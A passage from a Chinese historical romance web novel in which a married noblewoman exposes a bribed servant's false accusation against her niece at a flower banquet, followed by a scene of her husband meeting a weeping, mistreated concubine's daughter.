沈宁音勾唇一笑：“是么？我说了算不算，也不是你沈弦思决定的，你大可以试试看，父亲会不会依着我。”
沈弦思神色轻蔑，气得正想冷笑，便觉掌中一轻，沈宁音用力抽出了袖子，也不看她，淡然说着：“那你觉得若是玉姐儿当场道歉，认下此事，等待沈家其他未出阁姑娘的，会是什么样的亲事？”
沈弦思脸色微变，她有亲事，今日也有自己的目标，沈弦思自然不怕。但沈宁音原也不是说予她听的。沈弦思还没说个什么，旁边儿的沈含鸢跟沈引章已经回过味儿来了。两个姑娘脸色惨白。
沈含鸢连忙把沈弦思往旁边儿拉：“沈宁音说的也有道理……”沈含鸢可没什么亲事傍身，拉开沈弦思之后，看向沈宁音的目光都收敛得多了。
有沈引章跟沈含鸢拖着，沈弦思就算想作妖，这会儿也没那个本事。
沈宁音便静下心来应对眼前的情况。
这般绝处，自不能陷入什么自证陷阱，沈宁音偏要主动出击，鱼死网破便是她给陈夫人安排的结局。
沈宁音却很清楚，一叶障目终究离不开本能本质，深闺的姑娘们再如何明珠待现，但凡上了公堂，不论对错，名声也毁了。
谁家愿意娶回去个麻烦的女娘？
陈家根基不稳，她们赌不起。
“怎样？”沈宁音不卑不亢：“陈夫人与几位妹妹若是要去，我们自当奉陪。”
薛岚露在外面的手指微微曲起，指腹在光滑的扳指上轻抚，看向沈宁音的目光里，又多了几分不明的亮色。
双手交握在身前，沈宁音神色是一贯地淡。她看似在等着陈夫人的回答，其实，早已经预见了答案。
陈夫人脸上神色变幻，袖中的手指攥紧。她没那个胆子拿陈家去赌，可眼下那么多人看着，她哪怕沉默也会被认作是心虚。
“母亲，我不想去什么公堂！”陈四姑娘快要哭出来了，陈夫人心下叹息，她又何尝愿意让女儿们受这个冤枉气？
陈四姑娘抓着陈夫人的袖子，通红着眼圈道：“不是有薛大人在么？他不是找人给三哥治了断肢么？咱们去求求他！”陈夫人眼眸是亮了亮，但很快又皱紧眉头：“不行。”
陈夫人虽把薛岚当做来给自家撑腰的人，可皇城司的人喜怒无常的。
该说不说，当初陈守岳的腿可也是皇城司的人来打断的。
陈夫人脑子里瞬间闪过思绪万千，忽然，她想起了韶国公府来，当下只觉豁然开朗，陈夫人笑得底气十足：“去什么衙门？事情这么清楚，又有薛使司在场。秦少夫人，你怕不是忘了我们还有证人在。”
经她一提醒，所有人也都想起来那个韶国公府的奴仆。此人虽长得贼眉鼠眼，身上的装束却也不假。
那奴仆骤然又成了全场焦点，当下很是受用地挺了挺胸膛。只是他正春风得意，却蓦地感受到周身有些寒意。小厮搓了搓胳膊，循着感觉望过去，正看见皇城司那位神秘的公事大人正冷冷地看着自己。
薛岚不苟言笑的脸上，眼底闪过几分古怪与复杂，触及小厮的目光，蓦地问：“你是？”
小厮猝不及防，那位放话说不会掺和的冷面阎王竟然开口了，问的还是这样的问题。
问题虽简单，可小厮没来由地感觉心里发毛。他袖子里的手指紧张地颤抖着，连忙伸另一只手握住。小厮脸上堆着个
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笑：“好叫大人知晓，奴才是韶国公府的下人。”
小厮回答地很恭敬，很详细，从住在哪个院子，认得什么人，每一个都确保有案可查，几乎是滴水不漏。可他抬头偷偷瞥去的时候却发现，他越说，这位高高在上的实权公事大人，眉头就越蹙。
好在薛岚只问了这一句。
小厮松了口气之余，转向了人群中心的两个女子。
有的人就是这样，当在强者跟前得了委屈，等面对相对弱势之人时，就会把数倍的火气发泄在弱者身上。
尤其，这“弱者”还是平日里见面要磕头请安的贵人。
“看什么？别以为你哭就可以消了账！”小厮的语气愈发恶劣，看向沈玉珠的眼神凶狠又过分。
看着那年幼的女娘随着自己的呵斥而颤抖了身子，小厮心里便添了更多快意。他隔着布料摸了摸腰间，在这里头的内衬口袋里，放着一百两银票，能逞威风、还有银子拿，这等好事谁不喜欢？
沈玉珠眼圈红着，嘴唇咬得发白，沈宁音既心疼，又气愤：“真是岂有此理！什么时候别府的下人都能欺辱当朝侍郎家的小姐了？！”
那小厮却并不惧，抬高了下巴道：“万事逃不过一个理字，这事儿你家不占理，如今公事大人当场，秦少夫人还想以权压人不成？”
小厮笑得得意，眼下这么多人，没一个站沈家女娘。试问他怎么输？
陈夫人也趁机开口：“宁音，你也别倔强了，姑娘家做错了事，道个歉就好了。我几个女儿宅心仁厚，我们家也承过你的情，往后就算两不相欠了。”
“好一个两不相欠。”沈宁音笑容很冷，袖中的直接捏得泛白。
下一瞬，沈宁音手掌被包进了一双冰凉的小手，沈玉珠缓缓站了出来：“此事，是我不对……”
小姑娘心里带着委屈跟屈辱，可是眼神坚决：“一切，与宁音姑姑无关。”
“玉姐儿！”沈宁音心中一痛，所有的情绪在这一刻彻底迸发出来。
“早点道歉不就好了么，大家和和气气的。”陈夫人心下满意。陈青霜松了口气，而陈四姑娘则是一脸得意。
只是陈夫人话音刚落，沈宁音的声音已经若金铁刀斧般劈了下来：“谁要和气？又哪里错了？”
沈宁音环顾四周，忽然冷笑：“这么逼着一个小姑娘认下莫须有的错处，就不怕遭报应么？”
“尤其是你。”沈宁音眼里带着杀意：“蓄意诬陷，该打！”她提高了音量：“来人！把此人拿下。”
“你……”小厮瞪大了眼睛，都这样的情况了，任谁都明白应该让步才是！可这人竟然还敢这般强势！小厮不过是狐假虎威。
只敢欺负弱小，小厮也并非什么大胆之辈，此刻难掩脸上的惊慌。
但过了一个呼吸，并没有人响应，沈宁音的话。现场安安静静的。
那些个围在四周的仆从们，个个明哲保身，岂会真听沈宁音的差遣？
至此，那小厮心下大定，笑得越发猖狂：“秦少夫人，这儿可是宴会上，不是什么侍郎府、也不是昌平侯府，您要以势压人，怕是挑错了场合！”
沈宁音抓着沈玉珠的手，冷冷看向小厮，她本也是震一震场面。宴会门口停着侯府的车驾，她们久没出去，秦耀阳和侯府下人们也该进来找了。到时候她自有办法压过这人去！
果然一抬头，沈宁音便眼尖地瞧见兰香在往人群里挤。
虽秦耀阳没来，但沈宁音对此人并无多少期盼，便也毫不失落。
沈宁音刚要再下令。却听一声低沉的嗓音骤然响起：“把人拿下。”
130. 不屈
“把人拿下。”薛岚的手摩挲着扳指，神色是一贯地淡，可是他出口的话却犹如一记惊雷。
沈宁音直到那小厮给番子们押住，这才回过神来。
其他人的反应比起沈宁音来只会更错愕。
“薛大人！这是为何？”陈夫人慌了，脑子里一片混乱，声音都带着点颤。她不明白，沈宁音一声吩咐，旁人都是明哲保身，怎么站在自己一边的公事大人竟然倒戈了。
陈夫人惊慌之下，又有点愤怒，她想质问。可临了，到底是清醒了，她哪敢？陈夫人攥紧帕子勉强扯出一抹笑：“大人，是不是哪里弄错了？”
瞧热闹便该作壁上观，哪有亲自下场的？！
先前薛岚的表态言犹在耳。此番出手，那说话与放屁何异？！
在场众人岂有不懵的？都在猜测皇城司与昌平侯府是不是也有什么不为人知的干系？
沈宁音却生出几分防备来，她不相信有无缘无故的示好。尤其，薛岚这人还是皇城司之人。
薛岚从前戴着厚厚的面具，真正的喜怒不形于色，可现如今，他轻蹙眉头的细节变得分外明显。
他不喜解释。
任何时候！
可薛岚随手一帮，竟叫那女娘戒备上了，他移开冷眸，抖了下不太适应的深衣袍袖：“一介奴仆，甚没规矩。”
他言简意赅，声音也拔高了些。是说给更远处的谁人听的。
被番子押在地上动弹不得，小厮的脸色有一瞬间的惊恐，但他干噎了一下唾沫，强作镇定：“奴才是韶国公府的家奴！奴才没犯事！衙门都无权处置奴！”小厮很想表现得淡定，可惜那真实的情绪叫颤抖嘶哑的声音出卖了个彻底。
皇城司凶名在外，小厮也是人，哪有不怕的？
但有一点，在场众人都门清，家奴命贱，可他乃是世家门阀的私产，旁的权贵倒也罢了，家奴死了也就死了，并不敢找上皇城司的晦气。
可韶国公府却不同，宗室皇子也须得礼让三分。当场动手处置公府家奴，跟事后扭送去主人家叫人罚，性质可是天差地别的。会乱了规矩。
薛岚不语，小厮只以为他投鼠忌器，紧张忐忑的心思稍稍放松，甚至眼底与嘴角都勾勒出一丝得意来。
沈宁音袖里的手指收紧，敛衽抬眸：“韶国公府又如何？你污蔑我家声誉，我便将你擒去国公爷面前论一论道理！”
她话刚说完，抬高下巴吩咐：“兰香，过去掌他的嘴！”既然不能杀了，打肿了脸蛋便是那小厮活该。
兰香虽是刚来，但一听主子吩咐，连忙听话照做，撸起了袖子就左右开弓甩了七八个耳光。比耳光声更响亮的，是小厮杀猪般的哀嚎声。
兰香打得手麻，皱着眉甩手腕，这空挡，已经被打得双颊高肿的小厮颤声道：“你！你敢打我！……瞎了你的狗眼！我家主子不会放过你们……”
沈宁音眼眸微眯：“接着打！”小厮瞪大了眼睛，完全没想到这沈家二女、昌平侯府二少夫人真敢叫人下死手。
小厮先前硬撑着放狠话，不过是盼着能把人吓退。往日里但凡搬出来韶国公府，上到勋贵，下至小民，无往不利。谁知这次竟翻了车。
“别打了！别打了！”在小厮的哀嚎里陈夫人终于反应过来要拦着，旁边儿众人也都是手忙脚乱地上来打圆场。
“秦少夫人，此事可要三思啊！”
“是啊是啊！不如先请长公主过来主持公道可好？”
就在这当口，陈夫人眼睛通红眼神悲愤地看向沈宁音：“秦二少夫人！你这是要屈打成招么？”
沈宁音看了过去，此刻小厮脸上红肿得不像话，嘴角还挂着血。沈宁音都有些对兰香刮目相看了，这狠劲儿都快赶上春渠了。
沈宁音语气不卑不亢：“略施小惩而已。”
她话音刚落，那小厮哇地一声吐出颗带血的牙齿。
“……”
沈宁音顿了顿：“伯母放心，便是上公堂，嘴巴漏风也不影响审问时回话。”
“你！”陈夫人气得脑袋一阵一阵泛晕。偏生她还真不敢去甚公堂。
“快看，侯夫人来了！”有人喊了一嗓子。
所谓的侯夫人，自然是指昌平侯府的夫人闵氏，沈宁音转头就瞧见丫鬟搀扶着她往这儿过来。
事儿闹得大了，耽搁久了，闵氏就算想置身事外也很难装作不知情。
沈玉珠有些怕，抓紧了沈宁音的袖子，沈宁音反手将小姑娘的小手牵在掌心，不轻不重的力道叫小妮子心里安稳了许多。
沈宁音拉着侄女行礼：“婆母。”
闵氏走得急切，呼吸都带着喘，路上的时候便有丫鬟将事儿大略说了一遍，是以，闵氏甫一站定便开口道：“宁音，你糊涂。”
闵氏看了一眼眸中带泪的沈玉珠，叹了口气，目光闪了闪，她抿唇道：“你年纪轻，不知天外有天人外有人，韶国公府，可不比寻常人家。”她压低了声音：“咱们侯府虽不怕，却也不能轻易去招惹……此等家奴，若非主子授意，又何敢在这般场合里头攀诬客人？”
闵氏见儿媳不说话，以为她是动摇了心思，连忙放轻了语气：“不如就先叫玉姐儿认个错处，等此间事了，去韶国公府递帖子再询问不迟。”
沈宁音明白闵氏是求稳，更不想叫这些个矛盾牵扯上昌平侯府。亦是在提醒着——她一个出嫁女，该以夫家为先。
于闵氏来说，沈家女的名声，还没有要紧到让侯府全力相护的程度。
闵氏的声音虽低，离得不远的小厮却是听了个明白，闵氏又立马吩咐丫鬟去给小厮解围。
小厮捂着被皇城司番子捏疼的手臂，咬着后槽牙抬头，他素来是个记仇的，这会儿看向沈宁音的目光里，带着得意，以及，深深的怨毒！
小厮的目光隐晦地扫过沈宁音的胸口，这厮脑子里已经盘算着如何报仇，如何将那秦家少夫人还有沈家那个小姑娘弄得哭喊求饶。
沈宁音目光冰冷，指节攥白了血色。
她清楚，所谓的明日再去问，不过是托词，沈宁音一旦回了侯府，老夫人和闵氏有的是法子不让再去寻韶国公府的事儿。那小厮之
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事，也只会不了了之。
打铁，要趁热！今日便是沈宁音唯一的机会！
空气再次陷入了沉寂。如今侯府的长辈出面，闵氏代表的自然就是昌平侯府的态度。没人觉着沈宁音一个嫁进去不足半年的新妇能忤逆长辈做这个主。
似乎已尘埃落定。
闵氏看着薛岚，男人的脸孔虽风俊非常，可到底因着先前的抄家，闵氏还是有点儿发怵的，客气道：“多谢薛使司关照，可否放人了？”
没有薛岚的吩咐，小厮即便给松了束缚，番子们也依旧紧盯着他，想要走，却是不能够的。
可偏偏薛岚恍若未觉，不肯开这个尊口。
他扣着人，现场就散不得，闵氏也走不成，这会儿彻底尬住。
薛岚眉头都没皱一下，只是看向沈宁音，帮，是能帮的，端看她脊梁中有没有这截风骨。
薛岚的手摩挲着玉扳指，他只等着她开口。
气氛越发压抑，这般感觉就好似连时间都慢了下去。
沈宁音深吸口气，修长的手指在侄女手背上挠了挠。
小姑娘疑惑转头，只听得耳边传来姑姑压低的声音：“晕倒。”
沈玉珠有一瞬的茫然，但她很快眼珠往上一翻，软绵绵地往地上滑去。
“玉姐儿！”沈宁音的喊声凄厉又悲伤，一双美眸瞬间就涌出泪花来，她抱着沈玉珠香香软软的小身板哭泣：“玉姐儿你怎么了玉姐儿？你别吓姑姑。”
沈玉珠这骤然晕倒，一石激起千层浪，现场立马乱了起来。
沈家女慌了，闵氏也慌了。
闵氏只想大事化小小事化了，连忙要吩咐着人把沈玉珠先抬走。她难得来次赏花宴，可娘家的女娘们无人问津已经够丢脸的了，再加上沈家女搞出的那些个荒唐事儿，再有什么捅到长公主处，她的老脸也经不住丢了。
可沈宁音抱得死死的，丫鬟们又不敢硬拉。
正闹腾之际，一个人影拨开人群闯了进来。
卞小公爷一下子瞧见地上晕过去的小姑娘，顿时觉得一股子气血往脑门儿上冲，他死死盯着薛岚。
目光无声斥问：怎么回事？不是叫你来帮忙的？你就这么帮的？
薛岚的目光往那小厮一瞥：你的人？
又叫人来帮衬，又找人拆台。首鼠两端，委实像耍着人玩。
卞小公爷脸上臊得通红，下一瞬间怒不可遏：“怎么回事？！”他冲着身后长随低吼，恨不能把人抽几十个大嘴巴子。
长随脸色发白，鹌鹑一般不敢抬头，嗫嚅着：“爷……”
韶国公府这样的底蕴，在场又都是上京贵胄，谁人不知卞家最年轻的继承人？所以不少人都认出了卞小公爷。
沈宁音抱着沈玉珠的手掌一紧，她立马感觉到了周遭朝着自己与沈家众人投过来的同情目光。
一个仆从尚且不必管，可人家少主子亲自登场了，而且还一副恼怒到要刀人的模样。
大家都嗤笑，当初要你认错道歉你不肯，这下就算道歉怕是也不行，沈家几人要凶多吉少了！
131. 很凶
就在所有人都以为沈家不得不被迫吃下这个亏的时候——
“你怎么混进来的？”长随竟走到那小厮跟前皱紧了眉头问询。
小厮原本讨好的笑容一僵，躬身结结巴巴道：“李哥，是、是管家叫我搬东西……我、我就跟过来了。”
他们这对话听得旁人云里雾里，闵氏见没人关注，想要拉着沈宁音等人先走。但事涉声誉，沈宁音哪里肯。
薛岚不语，在他的旁边儿，卞小公爷正小声辩解着什么。
随着李长随的声音愈发恼怒，众人这才从言语里头听出了个大概。
小厮身上的衣裳也的确是韶国公府的。但他刚入府不到一个月，依着规矩，是不能是随侍主子外游的。
很显然，府里有人坏了规矩。
“宁音，还不走？”闵氏拉不开沈宁音，只得开口小声催促。
沈宁音抱着侄女不放，连眼睛都没抬一下。
这时，一道声音出现在她头顶：“秦少夫人，她……她没事吧？”
沈宁音循声抬头，看见的是卞家那位玉树天骄。男人的目光落在她怀里的沈玉珠身上时，有隐约的担忧和忐忑。
这眼波并不明显，若换一个人，想是要忽略掉的。沈宁音不禁蹙了蹙眉。
卞小公爷见她不说话，心里别提多怄气了。怎么连个女娘也跟那薛家的杀才一般，敢情都不肯接话的？
“玉珠她没事！”沈宁音不说话，沈含鸢却是凑了上来。她眼底的兴奋藏都藏不住，沈含鸢早就听得了好些有关韶国公府的事儿，更知道这卞小公爷乃是这上京城顶顶好的郎君人选。
莫说卞小公爷尚未婚配，即便他有了发妻，能嫁过去做个贵妾，那也是天大的福气。
毕竟，卞家上一代家主可就是个庶出子，那妾室长寿，熬死嫡夫人之后，便过上了荣养的生活，与嫡夫人的地位别无二致。最后下葬时，也是以先家主平妻哀荣葬入族陵。
沈含鸢一想到连沈弦思这种有婚约的都能攀上礼部侍郎家的七郎，她就觉得心里堵得慌。如今可算等到个能超脱沈宁音与沈弦思的亲事了！
思及此，沈含鸢看向卞小公爷的目光又热切了几分：“你不必挂心，玉珠哪有这么娇气，指不定是装的呢。”
沈宁音感觉怀里的侄女身子刹那绷紧，顿时心里火气蹭蹭蹭直往上蹿。
沈玉珠固然是装的，可不论真假，沈含鸢这样不管不顾的拆台行为更令人火大！
她正要发作，忽听见卞小公爷的声音：“你是沈家的姑娘吧？”
听见卞小公爷主动开口，沈含鸢的心仿佛飞上了云端，她脸上泛红，含羞带怯：“是，小女沈含鸢。”
可卞小公爷话锋一转，用着严肃里裹着薄怒的声线道：“父子笃，兄弟睦，夫妇和，家之肥也。你虽未出嫁，却对同一屋檐下的亲侄女如此冷漠。庠序之教都念到哪里去了？！”
听到他的话沈含鸢整个人如遭雷击，几乎都要站不稳了。
卞小公爷脸色阴沉，一甩袍袖，眼角余光也再不肯施舍予她。
到了公侯这等门楣，都是要面子的。处置下人通常都是带回府邸关上门来。可这回却不同。
卞小公爷也不避着，命人叫来了那分管一院的管家，管家一看见那小厮脸上被打肿的样子，登时就跪下了，他一推四五六，竭力想将自己摘干净。
可长随根本不吃这套：“还真是威风啊，都敢在宴会场合攀诬贵人了？莫不是你教的？”
“绝无此事！”管家身子一颤，吓得面如土色。他连忙朝着卞小公爷磕头：“主子，小人就算吃了熊心豹子胆也不敢撺掇这等是非啊！”
“你不敢？”沈宁音冷着脸将怀里的沈玉珠交给兰香，起身道：“方才那人可是口口声声污蔑我那侄女，还扬言国公府不会善罢甘休，现在你一句话便要全然推脱了去？”
管家心里一阵阵发懵，两股战战抬头，却见自家小公爷皱着眉：“既说不出个所以然，那便罚他一顿板子撵了吧……”
小厮心中一咯噔，登时目眦欲裂要往卞小公爷方向冲。长随身手敏捷，一脚踹在小厮小腿，那小厮膝盖重重砸至地面，整个人由于惯性滑出去一小段。
小厮也顾不得疼，一面眼睛流着马尿一面嘴里喊着：“舅舅，舅舅，帮帮我！我不想离开国公府！”
由俭入奢易，由奢入俭难，管家好不容易让唯一的侄儿混进了韶国公府，眼瞧着就要足月，马上就可以安排更好的差使了。谁知竟捅出了这等篓子。
管家想起侄儿从前就有些越界的事儿，但因着影响不大，他都睁一只眼闭一只眼，如今悔得肠子都青了。
“你这个杀才！还不快点如实招来！”管家又气又痛心，抬起巴掌就打在侄儿胳膊上。
小厮听着舅舅的暗示，当下嘴唇颤抖，苦胆都要惊出来了，这种时候哪里还顾得上什么银两？小厮带着哭腔控诉道：“是她，是她给我银子，叫我这么说的！”
被指着的陈夫人整个人都不好了，脸色臊红地拔高音量：“你胡说！我几时让你作假了！”陈夫人气得直抖：“你休想把脏水泼到我身上！”
面对所有人不信任的注目，陈夫人终于也体会了一把沈玉珠当初被千夫所指的委屈与痛苦。
小厮瞪大了眼睛，满脸不可置信：“陈夫人！做人可不能这么没脸没皮！就是你叫我攀诬沈家女娘的！”他的手指剧烈颤抖着。
陈夫人怒不可遏：“本夫人只是叫你实话实说！”
小厮忽然怪笑了两声，他抬手就抓着腰带往下扯。
“你要干什么！？”陈夫人连忙惊慌失措捂着眼睛。
小厮这般辣眼睛，在场的夫人女娘们连忙避开目光。
沈宁音身子略动，将沈玉珠挡在身后。
管家正要再打，却见那小厮提着裤子，从内兜里抽出一张皱巴巴的银票。
小厮像拿着岩浆猛兽般飞快将银票扔到了地上。他胡乱将衣服系好，哭着磕头道：“是小人不好，小人猪油蒙了心，但确确实实都是陈夫人指使！这一百两银票就是赂银，求少夫人开开恩，把奴才当个屁，放了吧！”
这下，所有的目光都落在了陈夫人脸上。
卞小公爷拿胳膊拐了拐薛岚，后者已经旁观够久了。
薛岚终究是抬起脸看过去。
陈夫人脸色惨白，抱住了两个惊慌失措的女儿，她红着眼睛咬牙：“那又如何？本就是沈家欺人太甚！我给银子不过是想讨要一个公平！我有什么错！？”
陈夫人眼睛里血丝弥漫，眼眶中蓄着泪，
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环视四周：“我初来乍到，没甚根基，就连唯一与家中女儿交好的秦二少夫人也无端冷落了咱们家！我从前就觉着她忽然冷着青霜事有蹊跷，如今果不其然……”陈夫人悲愤地盯着沈宁音的眼睛。
“是你！”陈夫人咬紧了牙：“定是你撺掇着侄女来害咱们家！”
“你都已经嫁人了！我们陈家又碍得了你什么？你非要这般针对咱家！”
陈夫人的一通发泄，情真意切，众人看愣了，沈宁音都愣住了。
如果她是装的，沈宁音觉着，她演得也太像了。
可是，若陈夫人真有这样的城府，那她就不可能从小苛待庶女，还闹得人尽皆知了。
思及此，沈宁音心下一动，古井般的目光就覆没在她怀中的女娘身上。
陈四姑娘眸光闪躲，陈青霜更是连身子都往下弯了去。
顶着周遭的纷纷议论，沈宁音轻笑一声：“陈伯母不如问上一问，就问问你两个女儿到底发生了什么事？”
“你什么意思？！”陈夫人声音愤怒，可下一瞬，她便听沈宁音冲陈四姑娘呵斥：“还不招么！”
“啊！”陈四姑娘发了一声叫喊，腿一软就滑坐在地上。
还没等惊疑不定的陈夫人开口，陈四姑娘就哭着喊：“我说我说！”
陈四姑娘一旦开了口，紧绷着的心反倒松快了。可在这之后，她又后悔了。
沈宁音哪里能容她再缩回去，当下一把捏紧陈四姑娘的手腕将她拖离陈夫人身边：“不说，那便见官去！”
“不要！不要见官！”
当着所有人的面，陈四姑娘毫无思考时间，竹筒倒豆子将事情经过都说了一遍，说完就在那哭。
陈夫人的脸黑如锅底，她一没料到女儿招认得那么快，连补救都没可能，二没想到亲生女竟会瞒着自己！她们连自己这亲妈都骗！
陈夫人之所以敢这么大张旗鼓，是觉着自个儿占着理的。拿银子给那小厮也是怕出纰漏、下人们不敢指认贵客。
瞬息之间，新贵陈家竟沦为笑柄，陈夫人看着哭哭啼啼的女儿，感受着四周仿佛扭曲的目光。她只想找个地缝钻进去。
万千愤怒与失望，统统集中于一点。陈夫人恶狠狠地看向跪在一旁一声不吭仿佛隐身了的庶女陈青霜。
她一巴掌甩了过去。陈青霜猝不及防挨了重重一下，惊叫一声倒在了地上。
陈夫人眼里流着泪，指着她骂：“贱人！不争气的东西！定是你带坏了你阿姐！”
吵吵嚷嚷的声音与少女的哭喊背景里，沈宁音默默招呼着丫鬟们将沈玉珠抬走。她才不管陈夫人要怎样拿庶女给亲女儿挡灾。如今焦点旁移，正是离去的好时机。
“爷，已经走远了。”长随小声提醒。
卞小公爷回神，恼羞成怒：“要你多嘴！”转过身，正瞧见薛岚就在身后。
“你来帮忙，便是这般帮的？”卞小公爷没好气地质问。
薛岚从远处收回了目光，语气是一贯的低沉微哑：“你莫不是没瞧见？那女人……”薛岚想着那聘聘婷婷的身影，莫名觉着有一丝痒，从心底一路蜿蜒至舌头。
他忍不住用牙齿碾上舌尖，是微微的刺痛感。连嘴角那一丝极微弱的上翘弧度都叫他压抑了下去：“很凶。”
132. 收留
这场赏花宴很是闹出了点动静来，而其中，沈家无疑在风口浪尖。
马夫挽好了缰绳，木踏也收了上去，随时可以离去。
沈宁音给沈玉珠擦了擦额头，抬眸隔着帘子问：“怎么还没起行？”
帘外传来春渠压低的声音：“是二爷还没出来。”
车上也没外人，沈玉珠正好睁开了眼睛，小姑娘眼巴巴地看着姑姑。看着素日里沉稳温柔的姑姑此刻蹙紧了柳眉。
沈家嫡长房没有儿子，蔡氏便让唯一的女儿像男子一般念书识礼。沈玉珠是不喜秦耀阳这姑父的，旁人只见着沈宁音嫁入侯府风光又受宠，可沈玉珠瞧见二姑父连事情结束也没出现时，对姑姑只有心疼。
“玉姐儿别怕，有姑姑在呢。”沈宁音安抚着侄女，她抿着唇掀开帘子时眉梢眼角已经晕开了一色的暗沉：“咱们先走，留两个下人接应二爷就是了。”
染竹听罢忙道：“少夫人，侯夫人处只怕不会应允。”
“马车这般多，少夫人与夫人也不坐同一辆。侯夫人若是要等二爷，她自会等着，咱们只听少夫人。”说话的是春渠。
染竹听罢心下略惊，她立马意识到了自己话语的不妥来，连忙抬眸去瞧主子的神色。可惜车帘晃动，已经隔绝了内外，染竹没能看见沈宁音的表情，只听见淡淡的声音从里头传出：“是这个理，走罢。”
花宴落幕，里头却还有耍得迟的。
直到天色肉眼可见的暗淡下来时，靶场那边儿才消停下来。
秦耀阳摸着弓，很有些意犹未尽。他们原是投壶玩，后来有人提议射箭，他这才玩到现在。
在做纨绔之前，秦耀阳也是摸过弓马张弦的，与旁人比，秦耀阳并不差，甚至坚持练习的话，如今也能有所成就，可惜的是，秦家大爷是天生的帅才，太过耀眼，耀眼到秦耀阳无妨多么努力，也不会得到父侯的关注。
莫名的，秦耀阳又想起了大哥。父母眼里唯一合格的儿子，疼爱是大哥的，马儿是大哥的，新刀是大哥的，亲人们的悲痛、伤心、甚至，自己爱着的女人，也曾是大哥的。
秦耀阳只觉得有些呼吸不畅，有什么烫了眼睛。他捏着弓的手紧到颤抖。
“秦世子，天色晚了，改日吧？”有人劝了句。秦耀阳这才反应过来该把弓箭还回去了。他尽管不舍，却也没再迟疑，把弓往人怀里一扔：“不用，本世子不喜这些。”
他这般话语言不由衷，往日便是这么应付侯府中人的，如今脱口而出，秦耀阳骤然察觉自己说错话了。
抬眸去看，那与他一道射箭的郎君们都没了笑容。秦耀阳心底狠狠一揪，连忙敛衽离开。
等人走远了，这才有人唾了一口：“呸！还以为是个性情中人，没想到是这种人！”
“是啊，亏我还以为从前误会了他。”
秦耀阳心情很糟糕，莫名的情绪，与从前不同，这情绪起来了就压不下去。
他这会儿脑子里乱糟糟的，喘着粗气，举目四顾，秦耀阳蓦地很想见着沈宁音，她待自己是一贯地温柔，在妻子身边儿时，秦耀阳没有那些心动的忐忑与紧张，也没有似面对爹娘祖母的压力与沉重。
独独只有她，能叫自己心绪平静。能让自己逃避。可是花园里早就人去园空了。
秦耀阳脚步顿住，一种空落落的感觉席卷周身。
好一会儿后，风吹冷了鼻尖、耳垂，秦耀阳依旧觉着心里沉重压抑，很委屈。
“夫君！”一声娇滴滴的女声响起。秦耀阳狂喜地转过身。
下一瞬，却见前方路口转出来一个醉醺醺的男子。男子的娘子扶着他往外走，柔声低声询问：“夫君，可有瞧上的？妾身这就准备准备去替你纳回来……”
秦耀阳愣了好一阵。他的袖子捏得发皱，忽然有点鼻酸，在心底的压抑与痛苦的催化下，渐渐化作了生气。
他抬步往外头走，想着定要叫妻子知晓自己生气，轻易哄不好那种。
走了一段后，秦耀阳眉头一皱，就在将才，他模模糊糊听到了什么声音。
这声音不大，断断续续又呜呜咽咽，秦耀阳不确定是不是有人在哭。
当他第二次停下脚步时，才终于排除是风吹过什么窄处的声响，的确是有人在哭。
秦耀阳凝眉循声看过去——那片地方并非大道，连幽径也无，加之眼下天暗得飞快，只是稍许时间，没挂上灯笼的地方就黑漆漆一片，瞧不清人影。
换了往日，他定是转身就走的，可这一刹：许是此刻的月光太浅，风太薄，那断断续续压抑着的哭声叫秦耀阳生了一丝同病相怜的恻隐，他竟举步往菊丛深处走去。
秦耀阳甫一靠近，便听见里头惊慌失措的声音：“谁？！”
秦耀阳逆着光，但那女娘不是。等适应了昏暗的光线，秦耀阳只觉那张脸有几分眼熟：“在下秦耀阳，是昌平侯府的……”
他话未说完，只觉怀里一重，温软的身子已经投入了自己怀里：“世子！”女人显然已经哭了许久，声音嘶哑，脸上全是眼泪。
秦耀阳有些懵，他本能地想把人狠狠推开，可一握住女子单薄的肩膀，还没用力呢，瞬间就被她浑身的颤抖给惹得心软起来。
男人在脆弱的时候，除了下面，连心也是硬不起来的。
秦耀阳缓缓松开了手：“你先松开罢，有什么话，且说来听。”
女人身子颤抖了下，连忙抹着眼泪退开，她却也没退足半步，周身都透着极其强烈的依赖感。
“小女闺名青霜，曾见过世子的……”两人挨着走入阑珊灯火。陈青霜抬起了眼睛。
她哭过，婉约清秀的面庞不过一掌，那双眼睛给水雾浸润过，映着灯火的时候，格外明亮。秦耀阳忽然就想起了周婉，她当年在自己怀里哭泣时，便是这般模样。
陈青霜哭着诉说着嫡母如何罚自己，如何打骂自己，又如何不许她回陈家，如今陈家的马车都走了，是要叫她去外头自生自灭。
陈青霜一想到如今什么都没了，又出来得匆忙，连平日里攒着的银钱也没带半分，绝望之下才躲在花丛里哭。
陈青霜只说着自个儿的凄惨、说着自个儿面对的不公，却是绝口不提自己犯下的
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错处。
不过，她说与不说，也无甚分别。秦耀阳盯着她的眼睛，看她红唇开合，几度落泪，却根本没心思听她说的是什么。
人在伤感之际，遇着旁人的可怜处，便会横生出些自怜与移情来。秦耀阳想到自己这些年的痛处，也热了双眼。
“别哭了。”秦耀阳低沉的声音出口时，他才蓦然发现，自己竟把陈青霜紧紧抱住了。
男人慌忙松开手，连连退了三步。秦耀阳一时窘迫，张了张嘴，却不知要如何解释。
没等他开口，陈青霜绯红的脸颊转瞬失去了血色，她的眼泪大颗大颗地滚落。
“原也不关世子的事，青霜……青霜先告退了。”陈青霜捂着脸就跌跌撞撞往园子里冲去。
秦耀阳看得心下一紧，几乎是紧跑几步拉着了陈青霜的胳膊：“陈姑娘，园子晚上有巡夜，但巡逻的皆是外男！”
陈青霜身子颤抖，没有回头，也没说话，只是肩膀随着抽泣颤抖着。她本就瘦弱，在夜风里头就更惹人怜惜。
秦耀阳的心肝也痛了一痛：“外头更不安全，你一个女娘，回青衣胡同的路，三教九流，什么人都有。”他抿了抿唇瓣：“不如，我带人送你回去？”
秦耀阳说这个话，倒是没什么心里负担的，在他看来，陈青霜是妻子的旧相识，他帮上一帮，妻子只会感激自己。
可就在他心下想着回去要如何让沈宁音来哄自个儿时，陈青霜却回头了，她脸上带着惊慌惶恐：“不行，我不能回去！”
“什么？”秦耀阳猝不及防地被她抱住胳膊。
陈青霜急切地开口：“求求你，不要送我回去！”
“胡闹！”秦耀阳连忙想挣脱，但陈青霜抱得死紧，她就好似一个溺水之人抱着救命稻草。
秦耀阳皱紧眉头烦躁地要去掰她的手指，却见她“噗通”一声跪下了，用惊惶与依赖的眼睛仰望着秦耀阳：“世子……世子我求你……求求你救救我吧。我若回家，定会被母亲打死的！求你了！”
秦耀阳眼眸微瞠，缓缓停了手……
